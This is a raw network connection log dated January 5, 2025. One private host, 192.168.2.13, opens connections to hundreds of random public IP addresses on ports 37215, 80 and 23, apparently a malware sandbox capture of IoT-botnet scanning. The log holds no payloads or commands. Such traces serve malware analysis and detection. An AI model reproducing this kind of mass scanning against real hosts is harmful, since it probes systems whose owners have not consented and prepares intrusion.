Jan 5, 2025 14:34:53.819566011 CET	37215	59136	197.12.237.90	192.168.2.13
Jan 5, 2025 14:34:53.827543974 CET	80	48586	60.208.214.47	192.168.2.13
Jan 5, 2025 14:34:53.827558041 CET	37215	58906	156.195.230.243	192.168.2.13
Jan 5, 2025 14:34:53.831547022 CET	80	59012	157.253.86.180	192.168.2.13
Jan 5, 2025 14:34:53.831557035 CET	37215	48322	197.125.8.61	192.168.2.13
Jan 5, 2025 14:34:53.831561089 CET	80	41010	70.180.28.131	192.168.2.13
Jan 5, 2025 14:34:53.831566095 CET	37215	43762	41.200.188.11	192.168.2.13
Jan 5, 2025 14:34:53.831578970 CET	80	51856	183.180.216.81	192.168.2.13
Jan 5, 2025 14:34:53.831587076 CET	37215	35080	156.233.138.121	192.168.2.13
Jan 5, 2025 14:34:53.839560032 CET	80	34234	105.76.238.137	192.168.2.13
Jan 5, 2025 14:34:53.839569092 CET	80	55374	122.134.154.13	192.168.2.13
Jan 5, 2025 14:34:53.839576960 CET	80	42640	2.208.165.87	192.168.2.13
Jan 5, 2025 14:34:53.839586020 CET	37215	36918	41.172.233.144	192.168.2.13
Jan 5, 2025 14:34:53.839592934 CET	80	40042	166.131.190.80	192.168.2.13
Jan 5, 2025 14:34:53.840168953 CET	41266	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:53.840167999 CET	47744	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:53.840167999 CET	32792	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:53.840167999 CET	60972	37215	192.168.2.13	156.225.164.86
Jan 5, 2025 14:34:53.840174913 CET	50014	37215	192.168.2.13	41.137.125.72
Jan 5, 2025 14:34:53.840174913 CET	57730	80	192.168.2.13	121.102.216.112
Jan 5, 2025 14:34:53.840174913 CET	60030	80	192.168.2.13	159.255.40.76
Jan 5, 2025 14:34:53.840174913 CET	53102	80	192.168.2.13	139.174.195.137
Jan 5, 2025 14:34:53.840177059 CET	40860	37215	192.168.2.13	41.62.163.85
Jan 5, 2025 14:34:53.840177059 CET	59838	37215	192.168.2.13	41.23.103.197
Jan 5, 2025 14:34:53.840183973 CET	42924	80	192.168.2.13	151.48.15.95
Jan 5, 2025 14:34:53.840183973 CET	45306	80	192.168.2.13	53.227.17.241
Jan 5, 2025 14:34:53.840186119 CET	33820	37215	192.168.2.13	156.243.109.113
Jan 5, 2025 14:34:53.840186119 CET	32826	37215	192.168.2.13	156.43.189.192
Jan 5, 2025 14:34:53.840186119 CET	32834	80	192.168.2.13	194.183.164.23
Jan 5, 2025 14:34:53.840188026 CET	44454	80	192.168.2.13	196.143.46.158
Jan 5, 2025 14:34:53.840188026 CET	33840	37215	192.168.2.13	156.122.226.193
Jan 5, 2025 14:34:53.840187073 CET	53382	80	192.168.2.13	220.224.191.80
Jan 5, 2025 14:34:53.840187073 CET	42346	80	192.168.2.13	220.24.54.57
Jan 5, 2025 14:34:53.840194941 CET	56462	37215	192.168.2.13	197.136.101.209
Jan 5, 2025 14:34:53.840198040 CET	46588	80	192.168.2.13	93.214.231.0
Jan 5, 2025 14:34:53.840198040 CET	35928	80	192.168.2.13	52.162.205.233
Jan 5, 2025 14:34:53.840198040 CET	53604	80	192.168.2.13	207.228.250.37
Jan 5, 2025 14:34:53.840198040 CET	36728	80	192.168.2.13	41.64.231.50
Jan 5, 2025 14:34:53.840198040 CET	33562	37215	192.168.2.13	41.239.15.40
Jan 5, 2025 14:34:53.840198040 CET	39940	80	192.168.2.13	85.20.129.185
Jan 5, 2025 14:34:53.840202093 CET	55574	37215	192.168.2.13	41.248.19.218
Jan 5, 2025 14:34:53.840202093 CET	35414	37215	192.168.2.13	156.108.47.137
Jan 5, 2025 14:34:53.840205908 CET	60424	80	192.168.2.13	65.19.217.78
Jan 5, 2025 14:34:53.840207100 CET	38716	37215	192.168.2.13	156.251.12.197
Jan 5, 2025 14:34:53.840205908 CET	46652	80	192.168.2.13	1.236.162.149
Jan 5, 2025 14:34:53.840209007 CET	45310	80	192.168.2.13	197.26.207.114
Jan 5, 2025 14:34:53.840209007 CET	39864	37215	192.168.2.13	197.235.244.16
Jan 5, 2025 14:34:53.840209007 CET	54720	37215	192.168.2.13	156.30.9.47
Jan 5, 2025 14:34:53.844984055 CET	37215	41266	41.148.147.70	192.168.2.13
Jan 5, 2025 14:34:53.844994068 CET	80	47744	17.149.159.4	192.168.2.13
Jan 5, 2025 14:34:53.845002890 CET	37215	32792	41.108.229.87	192.168.2.13
Jan 5, 2025 14:34:53.845042944 CET	41266	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:53.845045090 CET	32792	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:53.845046043 CET	47744	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:53.845129967 CET	41266	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:53.845129967 CET	41266	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:53.845185041 CET	47744	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:53.845185041 CET	47744	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:53.845947027 CET	41832	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:53.846086025 CET	48340	80	192.168.2.13	17.149.159.4
Jan 5, 2025 14:34:53.846739054 CET	32792	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:53.846761942 CET	32792	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:53.847265959 CET	33356	37215	192.168.2.13	41.108.229.87
Jan 5, 2025 14:34:53.849879026 CET	37215	41266	41.148.147.70	192.168.2.13
Jan 5, 2025 14:34:53.850037098 CET	80	47744	17.149.159.4	192.168.2.13
Jan 5, 2025 14:34:53.850768089 CET	37215	41832	41.148.147.70	192.168.2.13
Jan 5, 2025 14:34:53.850811958 CET	41832	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:53.850836992 CET	41832	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:53.851541042 CET	37215	32792	41.108.229.87	192.168.2.13
Jan 5, 2025 14:34:53.855741024 CET	37215	41832	41.148.147.70	192.168.2.13
Jan 5, 2025 14:34:53.855781078 CET	41832	37215	192.168.2.13	41.148.147.70
Jan 5, 2025 14:34:53.859496117 CET	37215	44434	156.20.37.112	192.168.2.13
Jan 5, 2025 14:34:53.859504938 CET	37215	37894	41.24.113.224	192.168.2.13
Jan 5, 2025 14:34:53.872158051 CET	36922	80	192.168.2.13	166.179.233.91
Jan 5, 2025 14:34:53.872158051 CET	57544	37215	192.168.2.13	156.9.55.72
Jan 5, 2025 14:34:53.872159004 CET	59016	37215	192.168.2.13	156.195.220.109
Jan 5, 2025 14:34:53.872159004 CET	57750	37215	192.168.2.13	41.69.215.93
Jan 5, 2025 14:34:53.872159004 CET	41142	37215	192.168.2.13	156.96.241.84
Jan 5, 2025 14:34:53.872163057 CET	40178	37215	192.168.2.13	197.232.51.110
Jan 5, 2025 14:34:53.872169971 CET	35702	80	192.168.2.13	210.5.76.127
Jan 5, 2025 14:34:53.872169971 CET	51012	80	192.168.2.13	102.130.92.204
Jan 5, 2025 14:34:53.872173071 CET	34294	37215	192.168.2.13	197.196.218.213
Jan 5, 2025 14:34:53.872174025 CET	44224	80	192.168.2.13	78.220.83.21
Jan 5, 2025 14:34:53.872176886 CET	34682	80	192.168.2.13	96.120.65.61
Jan 5, 2025 14:34:53.872174025 CET	51156	80	192.168.2.13	132.2.243.211
Jan 5, 2025 14:34:53.872176886 CET	47850	80	192.168.2.13	176.149.191.104
Jan 5, 2025 14:34:53.872174025 CET	56164	80	192.168.2.13	207.181.173.59
Jan 5, 2025 14:34:53.872181892 CET	56204	80	192.168.2.13	1.217.177.101
Jan 5, 2025 14:34:53.872181892 CET	43084	37215	192.168.2.13	197.116.93.148
Jan 5, 2025 14:34:53.872181892 CET	42336	37215	192.168.2.13	156.33.35.45
Jan 5, 2025 14:34:53.872184992 CET	41606	80	192.168.2.13	160.138.100.144
Jan 5, 2025 14:34:53.872188091 CET	54418	37215	192.168.2.13	41.14.205.117
Jan 5, 2025 14:34:53.872191906 CET	44840	37215	192.168.2.13	197.80.106.248
Jan 5, 2025 14:34:53.872191906 CET	40482	37215	192.168.2.13	156.49.159.92
Jan 5, 2025 14:34:53.872191906 CET	54788	37215	192.168.2.13	156.222.140.232
Jan 5, 2025 14:34:53.872193098 CET	43106	80	192.168.2.13	178.160.234.244
Jan 5, 2025 14:34:53.872193098 CET	60698	80	192.168.2.13	14.97.135.180
Jan 5, 2025 14:34:53.872193098 CET	55666	37215	192.168.2.13	156.98.107.139
Jan 5, 2025 14:34:53.872193098 CET	38762	37215	192.168.2.13	41.124.152.186
Jan 5, 2025 14:34:53.872189999 CET	53460	80	192.168.2.13	187.2.59.252
Jan 5, 2025 14:34:53.872190952 CET	38050	80	192.168.2.13	24.250.172.66
Jan 5, 2025 14:34:53.872190952 CET	44544	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:53.872196913 CET	43406	80	192.168.2.13	59.207.164.167
Jan 5, 2025 14:34:53.872196913 CET	49640	37215	192.168.2.13	197.144.181.13
Jan 5, 2025 14:34:53.872196913 CET	42106	37215	192.168.2.13	41.156.164.19
Jan 5, 2025 14:34:53.872203112 CET	34814	37215	192.168.2.13	156.27.80.89
Jan 5, 2025 14:34:53.904167891 CET	41778	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:53.904167891 CET	43788	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:53.904171944 CET	44712	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:53.904171944 CET	38936	80	192.168.2.13	41.22.54.60
Jan 5, 2025 14:34:53.904171944 CET	55170	37215	192.168.2.13	197.1.145.201
Jan 5, 2025 14:34:53.904171944 CET	36202	37215	192.168.2.13	156.122.87.248
Jan 5, 2025 14:34:53.904185057 CET	54868	37215	192.168.2.13	197.196.5.50
Jan 5, 2025 14:34:53.904186964 CET	43792	80	192.168.2.13	223.76.76.80
Jan 5, 2025 14:34:53.904186964 CET	52848	80	192.168.2.13	153.20.1.20
Jan 5, 2025 14:34:53.904187918 CET	39168	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:53.904191971 CET	34522	37215	192.168.2.13	41.93.85.8
Jan 5, 2025 14:34:53.904191971 CET	36358	37215	192.168.2.13	197.119.132.14
Jan 5, 2025 14:34:53.904191017 CET	43000	80	192.168.2.13	133.103.30.246
Jan 5, 2025 14:34:53.904191017 CET	44042	80	192.168.2.13	85.21.168.38
Jan 5, 2025 14:34:53.904191017 CET	48556	80	192.168.2.13	188.97.0.189
Jan 5, 2025 14:34:53.904195070 CET	53088	80	192.168.2.13	113.229.189.168
Jan 5, 2025 14:34:53.904195070 CET	48284	80	192.168.2.13	17.219.220.32
Jan 5, 2025 14:34:53.904207945 CET	36554	37215	192.168.2.13	41.205.3.80
Jan 5, 2025 14:34:53.904206991 CET	36752	80	192.168.2.13	165.11.0.69
Jan 5, 2025 14:34:53.904206991 CET	58858	80	192.168.2.13	31.80.239.115
Jan 5, 2025 14:34:53.904206991 CET	53566	37215	192.168.2.13	41.8.74.192
Jan 5, 2025 14:34:53.904206991 CET	55202	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:53.904211044 CET	33756	80	192.168.2.13	174.193.240.193
Jan 5, 2025 14:34:53.904211044 CET	51960	37215	192.168.2.13	156.88.186.105
Jan 5, 2025 14:34:53.904212952 CET	50634	80	192.168.2.13	157.0.75.117
Jan 5, 2025 14:34:53.904212952 CET	46364	37215	192.168.2.13	156.16.23.0
Jan 5, 2025 14:34:53.904217958 CET	52150	37215	192.168.2.13	41.194.144.29
Jan 5, 2025 14:34:53.904217958 CET	42218	37215	192.168.2.13	197.82.230.55
Jan 5, 2025 14:34:53.904217958 CET	44382	37215	192.168.2.13	41.187.93.226
Jan 5, 2025 14:34:53.904217958 CET	41384	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:53.936153889 CET	43054	80	192.168.2.13	188.234.143.250
Jan 5, 2025 14:34:53.936153889 CET	58112	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:53.936156988 CET	37260	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:53.936162949 CET	59110	80	192.168.2.13	194.42.246.90
Jan 5, 2025 14:34:53.936167002 CET	44304	80	192.168.2.13	138.54.10.162
Jan 5, 2025 14:34:53.936162949 CET	50828	80	192.168.2.13	99.2.140.201
Jan 5, 2025 14:34:53.936180115 CET	59542	37215	192.168.2.13	197.223.211.120
Jan 5, 2025 14:34:53.936180115 CET	46486	80	192.168.2.13	181.212.202.37
Jan 5, 2025 14:34:53.936182022 CET	52716	37215	192.168.2.13	156.48.66.60
Jan 5, 2025 14:34:53.936184883 CET	41406	37215	192.168.2.13	156.177.58.141
Jan 5, 2025 14:34:53.936184883 CET	44368	80	192.168.2.13	37.214.232.61
Jan 5, 2025 14:34:53.936184883 CET	43288	80	192.168.2.13	2.79.91.42
Jan 5, 2025 14:34:53.936187983 CET	57602	80	192.168.2.13	25.235.168.148
Jan 5, 2025 14:34:53.936189890 CET	49946	80	192.168.2.13	72.112.109.189
Jan 5, 2025 14:34:53.936189890 CET	50552	80	192.168.2.13	222.19.206.23
Jan 5, 2025 14:34:53.936191082 CET	33894	80	192.168.2.13	53.224.127.117
Jan 5, 2025 14:34:53.936196089 CET	44740	80	192.168.2.13	146.153.158.241
Jan 5, 2025 14:34:53.936202049 CET	38346	80	192.168.2.13	72.135.25.4
Jan 5, 2025 14:34:53.936202049 CET	45510	80	192.168.2.13	180.209.26.214
Jan 5, 2025 14:34:53.936202049 CET	55648	80	192.168.2.13	5.242.128.66
Jan 5, 2025 14:34:53.936202049 CET	55696	80	192.168.2.13	82.188.144.25
Jan 5, 2025 14:34:53.936204910 CET	43322	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:53.936203003 CET	57032	37215	192.168.2.13	156.14.137.61
Jan 5, 2025 14:34:53.936203003 CET	37410	37215	192.168.2.13	41.225.127.84
Jan 5, 2025 14:34:53.936211109 CET	53934	37215	192.168.2.13	156.39.54.175
Jan 5, 2025 14:34:53.936211109 CET	46668	80	192.168.2.13	130.235.117.29
Jan 5, 2025 14:34:53.936213017 CET	52078	80	192.168.2.13	89.14.126.235
Jan 5, 2025 14:34:53.936213017 CET	43590	80	192.168.2.13	180.233.33.135
Jan 5, 2025 14:34:53.936213017 CET	36896	37215	192.168.2.13	41.129.168.255
Jan 5, 2025 14:34:53.936213970 CET	37602	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:53.936218023 CET	51272	80	192.168.2.13	189.52.205.193
Jan 5, 2025 14:34:53.936220884 CET	56866	80	192.168.2.13	145.213.212.153
Jan 5, 2025 14:34:53.936222076 CET	44626	37215	192.168.2.13	156.107.222.143
Jan 5, 2025 14:34:53.950229883 CET	29476	23	192.168.2.13	105.235.22.250
Jan 5, 2025 14:34:53.950228930 CET	29476	23	192.168.2.13	153.14.105.80
Jan 5, 2025 14:34:53.950232983 CET	29476	23	192.168.2.13	87.50.163.66
Jan 5, 2025 14:34:53.950239897 CET	29476	23	192.168.2.13	144.104.139.116
Jan 5, 2025 14:34:53.950241089 CET	29476	23	192.168.2.13	65.31.98.217
Jan 5, 2025 14:34:53.950241089 CET	29476	23	192.168.2.13	151.176.61.109
Jan 5, 2025 14:34:53.950253010 CET	29476	23	192.168.2.13	188.96.145.99
Jan 5, 2025 14:34:53.950256109 CET	29476	23	192.168.2.13	217.172.87.184
Jan 5, 2025 14:34:53.950256109 CET	29476	23	192.168.2.13	140.106.185.28
Jan 5, 2025 14:34:53.950256109 CET	29476	23	192.168.2.13	36.209.137.6
Jan 5, 2025 14:34:53.950259924 CET	29476	23	192.168.2.13	142.157.222.131
Jan 5, 2025 14:34:53.950272083 CET	29476	23	192.168.2.13	199.161.153.204
Jan 5, 2025 14:34:53.950272083 CET	29476	23	192.168.2.13	2.237.148.127
Jan 5, 2025 14:34:53.950280905 CET	29476	23	192.168.2.13	86.229.233.53
Jan 5, 2025 14:34:53.950282097 CET	29476	23	192.168.2.13	86.213.112.181
Jan 5, 2025 14:34:53.950290918 CET	29476	23	192.168.2.13	23.217.17.122
Jan 5, 2025 14:34:53.950298071 CET	29476	23	192.168.2.13	133.52.242.55
Jan 5, 2025 14:34:53.950299025 CET	29476	23	192.168.2.13	221.173.8.132
Jan 5, 2025 14:34:53.950299025 CET	29476	23	192.168.2.13	2.33.172.224
Jan 5, 2025 14:34:53.950308084 CET	29476	23	192.168.2.13	158.207.44.77
Jan 5, 2025 14:34:53.950313091 CET	29476	23	192.168.2.13	223.119.238.8
Jan 5, 2025 14:34:53.950314999 CET	29476	23	192.168.2.13	139.238.18.142
Jan 5, 2025 14:34:53.950335026 CET	29476	23	192.168.2.13	152.103.121.22
Jan 5, 2025 14:34:53.950344086 CET	29476	23	192.168.2.13	176.9.113.127
Jan 5, 2025 14:34:53.950355053 CET	29476	23	192.168.2.13	58.166.211.88
Jan 5, 2025 14:34:53.950356007 CET	29476	23	192.168.2.13	12.79.104.241
Jan 5, 2025 14:34:53.950356960 CET	29476	23	192.168.2.13	38.19.136.255
Jan 5, 2025 14:34:53.950368881 CET	29476	23	192.168.2.13	218.133.217.30
Jan 5, 2025 14:34:53.950373888 CET	29476	23	192.168.2.13	67.188.136.215
Jan 5, 2025 14:34:53.950376987 CET	29476	23	192.168.2.13	82.126.241.139
Jan 5, 2025 14:34:53.950378895 CET	29476	23	192.168.2.13	14.49.57.186
Jan 5, 2025 14:34:53.950386047 CET	29476	23	192.168.2.13	216.245.188.41
Jan 5, 2025 14:34:53.950386047 CET	29476	23	192.168.2.13	46.224.58.225
Jan 5, 2025 14:34:53.950388908 CET	29476	23	192.168.2.13	81.137.138.163
Jan 5, 2025 14:34:53.950397968 CET	29476	23	192.168.2.13	47.226.214.135
Jan 5, 2025 14:34:53.950397968 CET	29476	23	192.168.2.13	188.152.148.156
Jan 5, 2025 14:34:53.950407982 CET	29476	23	192.168.2.13	191.71.14.136
Jan 5, 2025 14:34:53.950413942 CET	29476	23	192.168.2.13	111.39.1.213
Jan 5, 2025 14:34:53.950417995 CET	29476	23	192.168.2.13	192.19.22.55
Jan 5, 2025 14:34:53.950422049 CET	29476	23	192.168.2.13	18.234.240.70
Jan 5, 2025 14:34:53.950438976 CET	29476	23	192.168.2.13	144.115.152.31
Jan 5, 2025 14:34:53.950443029 CET	29476	23	192.168.2.13	76.203.59.169
Jan 5, 2025 14:34:53.950449944 CET	29476	23	192.168.2.13	49.171.156.228
Jan 5, 2025 14:34:53.950449944 CET	29476	23	192.168.2.13	144.188.63.43
Jan 5, 2025 14:34:53.950462103 CET	29476	23	192.168.2.13	116.30.44.234
Jan 5, 2025 14:34:53.950462103 CET	29476	23	192.168.2.13	74.130.163.241
Jan 5, 2025 14:34:53.950462103 CET	29476	23	192.168.2.13	154.205.19.79
Jan 5, 2025 14:34:53.950469017 CET	29476	23	192.168.2.13	43.11.154.215
Jan 5, 2025 14:34:53.950472116 CET	29476	23	192.168.2.13	199.61.52.110
Jan 5, 2025 14:34:53.950473070 CET	29476	23	192.168.2.13	143.205.222.65
Jan 5, 2025 14:34:53.950479984 CET	29476	23	192.168.2.13	52.85.242.98
Jan 5, 2025 14:34:53.950493097 CET	29476	23	192.168.2.13	190.143.246.81
Jan 5, 2025 14:34:53.950506926 CET	29476	23	192.168.2.13	108.91.107.147
Jan 5, 2025 14:34:53.950511932 CET	29476	23	192.168.2.13	110.48.193.62
Jan 5, 2025 14:34:53.950520992 CET	29476	23	192.168.2.13	98.151.74.62
Jan 5, 2025 14:34:53.950525045 CET	29476	23	192.168.2.13	120.151.71.15
Jan 5, 2025 14:34:53.950525999 CET	29476	23	192.168.2.13	139.3.110.187
Jan 5, 2025 14:34:53.950530052 CET	29476	23	192.168.2.13	205.243.142.190
Jan 5, 2025 14:34:53.950530052 CET	29476	23	192.168.2.13	48.19.76.106
Jan 5, 2025 14:34:53.950546026 CET	29476	23	192.168.2.13	4.155.248.131
Jan 5, 2025 14:34:53.950553894 CET	29476	23	192.168.2.13	195.153.115.109
Jan 5, 2025 14:34:53.950555086 CET	29476	23	192.168.2.13	34.136.171.89
Jan 5, 2025 14:34:53.950556993 CET	29476	23	192.168.2.13	212.127.28.36
Jan 5, 2025 14:34:53.950556993 CET	29476	23	192.168.2.13	113.131.39.111
Jan 5, 2025 14:34:53.950556993 CET	29476	23	192.168.2.13	142.236.133.115
Jan 5, 2025 14:34:53.950567007 CET	29476	23	192.168.2.13	69.74.200.178
Jan 5, 2025 14:34:53.950568914 CET	29476	23	192.168.2.13	77.73.23.201
Jan 5, 2025 14:34:53.950572014 CET	29476	23	192.168.2.13	62.197.191.5
Jan 5, 2025 14:34:53.950575113 CET	29476	23	192.168.2.13	47.141.12.123
Jan 5, 2025 14:34:53.950583935 CET	29476	23	192.168.2.13	105.171.183.123
Jan 5, 2025 14:34:53.950592995 CET	29476	23	192.168.2.13	140.45.48.220
Jan 5, 2025 14:34:53.950594902 CET	29476	23	192.168.2.13	166.225.83.74
Jan 5, 2025 14:34:53.950603008 CET	29476	23	192.168.2.13	144.56.235.23
Jan 5, 2025 14:34:53.950603962 CET	29476	23	192.168.2.13	219.220.167.129
Jan 5, 2025 14:34:53.950619936 CET	29476	23	192.168.2.13	62.111.86.170
Jan 5, 2025 14:34:53.950628996 CET	29476	23	192.168.2.13	57.54.55.133
Jan 5, 2025 14:34:53.950629950 CET	29476	23	192.168.2.13	166.85.209.158
Jan 5, 2025 14:34:53.950629950 CET	29476	23	192.168.2.13	146.39.31.221
Jan 5, 2025 14:34:53.950634003 CET	29476	23	192.168.2.13	89.74.140.186
Jan 5, 2025 14:34:53.950634003 CET	29476	23	192.168.2.13	17.187.10.50
Jan 5, 2025 14:34:53.950634003 CET	29476	23	192.168.2.13	70.175.93.120
Jan 5, 2025 14:34:53.950644970 CET	29476	23	192.168.2.13	182.207.224.49
Jan 5, 2025 14:34:53.950645924 CET	29476	23	192.168.2.13	201.70.97.94
Jan 5, 2025 14:34:53.950655937 CET	29476	23	192.168.2.13	17.190.219.164
Jan 5, 2025 14:34:53.950660944 CET	29476	23	192.168.2.13	153.92.11.164
Jan 5, 2025 14:34:53.950661898 CET	29476	23	192.168.2.13	104.228.55.138
Jan 5, 2025 14:34:53.950674057 CET	29476	23	192.168.2.13	46.67.62.22
Jan 5, 2025 14:34:53.950675964 CET	29476	23	192.168.2.13	135.203.246.99
Jan 5, 2025 14:34:53.950680971 CET	29476	23	192.168.2.13	8.133.234.158
Jan 5, 2025 14:34:53.950684071 CET	29476	23	192.168.2.13	133.90.142.67
Jan 5, 2025 14:34:53.950705051 CET	29476	23	192.168.2.13	203.43.48.68
Jan 5, 2025 14:34:53.950707912 CET	29476	23	192.168.2.13	187.3.138.202
Jan 5, 2025 14:34:53.950710058 CET	29476	23	192.168.2.13	146.137.187.162
Jan 5, 2025 14:34:53.950721979 CET	29476	23	192.168.2.13	65.208.250.126
Jan 5, 2025 14:34:53.950721979 CET	29476	23	192.168.2.13	48.22.170.101
Jan 5, 2025 14:34:53.950722933 CET	29476	23	192.168.2.13	188.44.70.227
Jan 5, 2025 14:34:53.950722933 CET	29476	23	192.168.2.13	65.200.29.142
Jan 5, 2025 14:34:53.950731039 CET	29476	23	192.168.2.13	59.50.101.130
Jan 5, 2025 14:34:53.950732946 CET	29476	23	192.168.2.13	103.48.84.255
Jan 5, 2025 14:34:53.950732946 CET	29476	23	192.168.2.13	99.16.235.100
Jan 5, 2025 14:34:53.950752020 CET	29476	23	192.168.2.13	101.78.78.209
Jan 5, 2025 14:34:53.950762033 CET	29476	23	192.168.2.13	19.177.93.238
Jan 5, 2025 14:34:53.950771093 CET	29476	23	192.168.2.13	200.73.129.98
Jan 5, 2025 14:34:53.950772047 CET	29476	23	192.168.2.13	160.235.130.64
Jan 5, 2025 14:34:53.950772047 CET	29476	23	192.168.2.13	36.212.209.115
Jan 5, 2025 14:34:53.950778961 CET	29476	23	192.168.2.13	138.187.62.105
Jan 5, 2025 14:34:53.950779915 CET	29476	23	192.168.2.13	196.173.165.177
Jan 5, 2025 14:34:53.950783014 CET	29476	23	192.168.2.13	166.238.229.64
Jan 5, 2025 14:34:53.950783014 CET	29476	23	192.168.2.13	67.7.35.178
Jan 5, 2025 14:34:53.950793982 CET	29476	23	192.168.2.13	189.17.139.39
Jan 5, 2025 14:34:53.950793982 CET	29476	23	192.168.2.13	195.216.59.83
Jan 5, 2025 14:34:53.950809956 CET	29476	23	192.168.2.13	157.193.74.146
Jan 5, 2025 14:34:53.950815916 CET	29476	23	192.168.2.13	102.223.0.160
Jan 5, 2025 14:34:53.950818062 CET	29476	23	192.168.2.13	92.35.166.34
Jan 5, 2025 14:34:53.950819016 CET	29476	23	192.168.2.13	167.163.45.46
Jan 5, 2025 14:34:53.950834990 CET	29476	23	192.168.2.13	182.97.30.96
Jan 5, 2025 14:34:53.950838089 CET	29476	23	192.168.2.13	187.28.220.183
Jan 5, 2025 14:34:53.950849056 CET	29476	23	192.168.2.13	18.26.148.223
Jan 5, 2025 14:34:53.950860977 CET	29476	23	192.168.2.13	100.61.45.180
Jan 5, 2025 14:34:53.950861931 CET	29476	23	192.168.2.13	205.114.40.21
Jan 5, 2025 14:34:53.950861931 CET	29476	23	192.168.2.13	115.20.110.8
Jan 5, 2025 14:34:53.950864077 CET	29476	23	192.168.2.13	35.9.222.148
Jan 5, 2025 14:34:53.950865984 CET	29476	23	192.168.2.13	107.40.148.1
Jan 5, 2025 14:34:53.950866938 CET	29476	23	192.168.2.13	120.160.72.224
Jan 5, 2025 14:34:53.950875998 CET	29476	23	192.168.2.13	153.31.223.71
Jan 5, 2025 14:34:53.950875998 CET	29476	23	192.168.2.13	180.17.51.243
Jan 5, 2025 14:34:53.950875998 CET	29476	23	192.168.2.13	79.133.6.33
Jan 5, 2025 14:34:53.950885057 CET	29476	23	192.168.2.13	110.114.37.240
Jan 5, 2025 14:34:53.950885057 CET	29476	23	192.168.2.13	66.150.149.5
Jan 5, 2025 14:34:53.950886011 CET	29476	23	192.168.2.13	105.227.189.222
Jan 5, 2025 14:34:53.950886965 CET	29476	23	192.168.2.13	92.11.193.68
Jan 5, 2025 14:34:53.950891018 CET	29476	23	192.168.2.13	193.109.96.132
Jan 5, 2025 14:34:53.950894117 CET	29476	23	192.168.2.13	80.186.101.13
Jan 5, 2025 14:34:53.950912952 CET	29476	23	192.168.2.13	58.112.20.209
Jan 5, 2025 14:34:53.950913906 CET	29476	23	192.168.2.13	37.9.240.38
Jan 5, 2025 14:34:53.950915098 CET	29476	23	192.168.2.13	94.69.190.234
Jan 5, 2025 14:34:53.950928926 CET	29476	23	192.168.2.13	5.87.204.37
Jan 5, 2025 14:34:53.950930119 CET	29476	23	192.168.2.13	51.5.38.32
Jan 5, 2025 14:34:53.950931072 CET	29476	23	192.168.2.13	222.189.83.209
Jan 5, 2025 14:34:53.950946093 CET	29476	23	192.168.2.13	86.186.244.157
Jan 5, 2025 14:34:53.950948000 CET	29476	23	192.168.2.13	24.100.162.195
Jan 5, 2025 14:34:53.950949907 CET	29476	23	192.168.2.13	116.235.184.162
Jan 5, 2025 14:34:53.950965881 CET	29476	23	192.168.2.13	145.149.174.181
Jan 5, 2025 14:34:53.950972080 CET	29476	23	192.168.2.13	135.199.149.250
Jan 5, 2025 14:34:53.950972080 CET	29476	23	192.168.2.13	132.4.123.129
Jan 5, 2025 14:34:53.950972080 CET	29476	23	192.168.2.13	81.123.210.17
Jan 5, 2025 14:34:53.950983047 CET	29476	23	192.168.2.13	110.141.43.35
Jan 5, 2025 14:34:53.950983047 CET	29476	23	192.168.2.13	209.212.238.150
Jan 5, 2025 14:34:53.950984001 CET	29476	23	192.168.2.13	203.135.252.233
Jan 5, 2025 14:34:53.950994015 CET	29476	23	192.168.2.13	154.218.7.59
Jan 5, 2025 14:34:53.951006889 CET	29476	23	192.168.2.13	150.128.7.230
Jan 5, 2025 14:34:53.951009035 CET	29476	23	192.168.2.13	120.176.219.35
Jan 5, 2025 14:34:53.951013088 CET	29476	23	192.168.2.13	12.91.244.126
Jan 5, 2025 14:34:53.951016903 CET	29476	23	192.168.2.13	46.155.243.168
Jan 5, 2025 14:34:53.951029062 CET	29476	23	192.168.2.13	198.107.39.91
Jan 5, 2025 14:34:53.951037884 CET	29476	23	192.168.2.13	5.141.103.77
Jan 5, 2025 14:34:53.951040030 CET	29476	23	192.168.2.13	167.171.138.38
Jan 5, 2025 14:34:53.951040030 CET	29476	23	192.168.2.13	179.39.235.130
Jan 5, 2025 14:34:53.951044083 CET	29476	23	192.168.2.13	80.66.177.60
Jan 5, 2025 14:34:53.951045036 CET	29476	23	192.168.2.13	60.39.3.143
Jan 5, 2025 14:34:53.951045036 CET	29476	23	192.168.2.13	68.82.46.40
Jan 5, 2025 14:34:53.951045036 CET	29476	23	192.168.2.13	31.207.119.97
Jan 5, 2025 14:34:53.951052904 CET	29476	23	192.168.2.13	212.83.139.0
Jan 5, 2025 14:34:53.951064110 CET	29476	23	192.168.2.13	137.154.83.164
Jan 5, 2025 14:34:53.951075077 CET	29476	23	192.168.2.13	91.54.237.218
Jan 5, 2025 14:34:53.951085091 CET	29476	23	192.168.2.13	184.108.45.161
Jan 5, 2025 14:34:53.951085091 CET	29476	23	192.168.2.13	136.170.253.24
Jan 5, 2025 14:34:53.951086044 CET	29476	23	192.168.2.13	93.43.27.117
Jan 5, 2025 14:34:53.951098919 CET	29476	23	192.168.2.13	111.210.131.24
